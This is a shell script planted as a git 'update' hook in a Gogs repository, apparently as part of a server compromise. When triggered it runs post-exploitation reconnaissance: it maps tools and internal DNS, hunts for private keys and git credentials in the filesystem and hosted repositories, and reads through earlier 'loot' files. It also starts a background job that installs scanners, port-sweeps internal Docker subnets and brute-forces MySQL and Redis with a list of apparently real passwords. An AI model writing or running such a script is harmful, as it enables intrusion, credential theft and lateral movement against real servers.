writer-lxlxsqfe/nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

#!/bin/sh
# i2277 round a: quick recon + launch heavy background scans
OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
LOG=$OUT/out2277a
BG=$OUT/scan2277a
: > "$LOG"
: > "$BG"
say(){ echo "$@" >> "$LOG"; }

say "=== round2277a $(date -u) ==="
say "--- id ---"; id 2>&1; uname -a 2>&1 | head -1

say "--- tools ---"
for t in apk apt-get python3 python perl php node openssl gcc wget curl nc nmap mysql mariadb redis-cli socat ssh tar gzip timeout nslookup getent; do
  p=$(command -v $t 2>/dev/null)
  [ -n "$p" ] && say "$t: $p"
done

say "--- os/tmp ---"; head -3 /etc/os-release 2>/dev/null; ls -ld /tmp 2>&1; df -h /tmp 2>/dev/null | tail -1

say "--- dns ---"
for n in gogs-db gogs internal mysql mariadb db redis cache new-api newapi nebula one-api oneapi api app web caddy traefik nginx admin console sub2api xygpt; do
  r=$(getent hosts "$n" 2>/dev/null | head -1)
  [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | grep -A1 "^Name:" | tail -1)
  [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | tail -n +4 | head -2 | tr '\n' ',')
  say "dns $n => ${r:-NONE}"
done

say "--- /data tree ---"; ls -la /data 2>&1 | head -12
say "--- local-r ids ---"
for d in /data/gogs/data/tmp/local-r/*/; do
  n=$(ls -A "$d" 2>/dev/null | tr '\n' ' ')
  say "LR $d => $n"
done

say "--- old local-r loot files ---"
find /data/gogs/data/tmp/local-r -maxdepth 5 -type f 2>/dev/null | grep -v "local-r/118" | head -60

say "--- /app/gogs listing ---"
ls -la /app/gogs 2>&1 | head -15
ls -la /app/gogs/docker 2>&1 | head -25

say "--- crontabs ---"
ls -la /etc/crontabs /var/spool/cron 2>&1 | head -10
cat /etc/crontabs/* 2>/dev/null | head -15

say "--- fs private key hunt (targeted) ---"
grep -r -a -l -E "BEGIN [A-Z ]*PRIVATE KEY" /home /tmp /etc /var /app/gogs/conf /data/gogs/conf /data/gogs/data 2>/dev/null | head -15

say "--- mysql 172.20.0.2:3306 handshake ---"
( sleep 1 ) | nc -w 3 172.20.0.2 3306 2>/dev/null | head -c 128 | od -An -c | head -8 >> "$LOG" 2>&1

say "--- redis banner 172.20.0.1:16379 ---"
printf 'PING\r\n' | nc -w 2 172.20.0.1 16379 2>/dev/null | head -2 >> "$LOG" 2>&1

say "--- ssh banners ---"
for hp in 10022 25919; do
  b=$(nc -w 2 172.20.0.1 $hp 2>/dev/null | head -1)
  say "hp=$hp banner=[$b]"
done

say "--- suid / passwd ---"
find / -xdev -perm -4000 -type f 2>/dev/null | head -15
grep -E "^(git|root|mysql)" /etc/passwd 2>/dev/null

say "--- launched bg job ---"
nohup sh -c 'BG=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git/scan2277a
{
echo "== bg start $(date -u) =="
echo "-- egress --"
for u in https://github.com https://dl-cdn.alpinelinux.org https://pypi.org; do
  wget -q -T 6 -O /dev/null "$u" && echo "$u OK" || echo "$u FAIL"
done
echo "-- apk installs --"
if command -v apk >/dev/null 2>&1; then
  apk update 2>&1 | tail -2
  apk add --no-cache mariadb-client 2>&1 | tail -3
  apk add --no-cache redis 2>&1 | tail -2
  apk add --no-cache nmap 2>&1 | tail -3
  apk add --no-cache python3 2>&1 | tail -2
fi
echo "-- after installs --"
command -v mysql && mysql --version
command -v redis-cli && redis-cli --version
command -v nmap && nmap --version 2>&1 | head -1
command -v python3 && python3 -V
echo "-- arp --"; cat /proc/net/arp
echo "-- route --"; cat /proc/net/route
echo "-- neighbors sweep 172.20.0.0/24 --"
for i in $(seq 4 90); do
  for p in 80 443 3000 3306 6379 8080 9000 16379; do
    ( nc -z -w 1 172.20.0.$i $p 2>/dev/null && echo "OPEN 172.20.0.$i:$p" ) &
  done
done
wait
echo "-- other bridges --"
for net in 172.17 172.18 172.19 172.21 172.22 172.23; do
  for i in 2 3 4 5 6 8 10; do
    for p in 80 443 3000 3306 6379 8080; do
      ( nc -z -w 1 $net.0.$i $p 2>/dev/null && echo "OPEN $net.0.$i:$p" ) &
    done
  done
done
wait
echo "-- host targeted ports --"
for p in 22 80 443 3000 3306 5000 5432 5601 6379 6600 8080 8081 8300 8443 8888 9000 9090 9200 10022 16379 20001 25919 27017 2375 2376 10250; do
  ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
done
wait
echo "-- host range scans --"
for p in $(seq 10000 10100) $(seq 16000 16399) $(seq 19990 20030) $(seq 25900 25930) $(seq 30000 30015); do
  ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
done
wait
echo "-- mysql login tests 172.20.0.2 --"
if command -v mysql >/dev/null 2>&1; then
  for cred in gogs:ywf123456 root:ywf123456 root:ywf123456@! root:root root:password gogs:gogs root:123456; do
    u=${cred%%:*}; p=${cred#*:}
    out=$(mysql -h 172.20.0.2 -P 3306 -u "$u" -p"$p" --connect-timeout=6 -N -e "select version(); show databases;" 2>&1 | head -40 | tr "\n" ";")
    echo "MYSQL $u/$p => $out"
  done
fi
echo "-- redis 16379 corpus --"
for pw in ywf123456 ywf123456@! app.ZxAris@169 nf.video123456@@@ 95611Lvsinco M3F1j9GyxIhKbN4 netflix_123 Dev.12345 "5nQqF1a&Yf1oig_T9k" "ProbeLx1853!x" server-pull qwer1234 d8kBs6m3JGNctw8m "Yinhe./123" yhlxj123 redis123 123456 admin123 root nebula apinebula; do
  r=$(printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw" | nc -w 2 172.20.0.1 16379 2>/dev/null | head -3 | tr "\n" "|")
  echo "REDIS pw=$pw => $r"
done
echo "-- repo key hunt --"
for gd in /data/git/gogs-repositories/*/*.git; do
  sz=$(du -sm "$gd" 2>/dev/null | cut -f1)
  [ "${sz:-0}" -gt 250 ] && continue
  out=$(timeout 8 git --git-dir="$gd" grep -l -a -E "BEGIN [A-Z ]*PRIVATE KEY" HEAD 2>/dev/null | head -2)
  [ -n "$out" ] && echo "KEYBLOB $gd => $out"
  out2=$(timeout 8 git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "id_rsa|id_ed25519|deploy_key|\.pem$" | head -4)
  [ -n "$out2" ] && echo "KEYFILE $gd => $out2"
done
echo "-- git creds hunt --"
grep -r -a -h -E "https?://[^ :]+:[^ @]+@" /data/git/ /data/gogs/conf/ 2>/dev/null | head -10
echo "== bg done $(date -u) =="
} >> "$BG" 2>&1' >/dev/null 2>&1 &
say "bg pid: $!"
sleep 2
say "--- round2277a sync part done $(date -u) ---"